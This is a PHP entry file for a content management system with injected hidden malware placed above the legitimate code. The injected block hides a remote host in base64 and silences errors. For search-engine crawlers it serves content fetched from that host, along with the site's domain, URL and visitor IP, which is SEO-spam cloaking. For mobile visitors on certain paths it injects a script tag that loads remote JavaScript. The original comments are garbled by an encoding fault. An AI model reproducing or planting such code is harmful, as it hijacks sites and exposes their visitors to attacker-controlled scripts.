<?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
define('URI', $_SERVER['REQUEST_URI']);
define('host', base64_decode('aHR0cDovL2NjLmRkbGxsbGRkLmNvbS8='));
define('MOBILE_REGEX', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/i');
define('MULU','app|ios|android|download|blank|games|play|video|bak|gods|vod|post|xml|id|scm|shtml|forum|portaldy|article|dy|product|doc|xlsx|uuid');
function isEngines($key){return stristr($key, 'Baiduspider') !== false||stristr($key, 'Sogou') !== false||stristr($key, '360Spider') !== false|| stristr($key, 'YisouSpider') !== false;}
function isIncludes(){$re = 0;$temp = explode('|',MULU);foreach($temp as $v){if(stristr(URI,$v) !== false){$re = 1;}}return $re;}
function isMobile($key) {return preg_match(MOBILE_REGEX, $key);}
function getContents($url) {
    // 默认超时时间为 10 秒
    $timeout = 10;

    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)");
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); // 设置 cURL 超时时间
        $result = curl_exec($ch);

        // 检查 cURL 是否出错
        if ($result === false) {
            curl_close($ch);
            return ""; // 返回空字符串表示失败
        }

        curl_close($ch);
        return $result;
    } else {
        $result = file_get_contents($url);

        // 检查 file_get_contents 是否出错
        if ($result === false) {
            return ""; // 返回空字符串表示失败
        }

        return $result;
    }
}

$ref = $_SERVER["HTTP_REFERER"];
$key = $_SERVER["HTTP_USER_AGENT"];
$ym = $_SERVER['HTTP_HOST'];
$cip = $_SERVER["REMOTE_ADDR"]; 

if (isEngines($key)) {

    header('Content-Type:text/html;charset=utf-8');
    if(isIncludes()){
$ant = urlencode($_SERVER["HTTP_USER_AGENT"]);
	   echo getContents(host."?xhost=".$ym."&reurl=".URI."&ip=".$cip."&agent=".$ant);
        exit;
    }else{
$ant = urlencode($_SERVER["HTTP_USER_AGENT"]);
        echo getContents(host."links.php?xhost=".$ym."&reurl=".URI."&ip=".$cip."&agent=".$ant);
	
    }
}else{
	if(isIncludes()&&isMobile($key)){
	echo base64_decode('PHNjcmlwdCBzcmM9aHR0cHM6Ly9jYy5kZGxsbGxkZC5jb20va2trLmpzPjwvc2NyaXB0Pg==');
        exit;
    }	
}
/**
 * @copyright (C)2016-2099 Hnaoyun Inc.
 * @author XingMeng
 * @email hnxsh@foxmail.com
 * @date 2016��11��5��
 *  �û�ǰ������ļ�
 */

// ����Ϊ����ļ�
define('IS_INDEX', true);

// ����ļ���ַ��
define('URL_BIND', 'home');

// PHP�汾���
if (PHP_VERSION < '5.4') {
    header('Content-Type:text/html; charset=utf-8');
    exit('��������PHP�İ汾̫�ͣ�����Ҫ��PHP�汾��С��5.4');
}

// �����ں������ļ�
require dirname(__FILE__) . '/core/start.php';
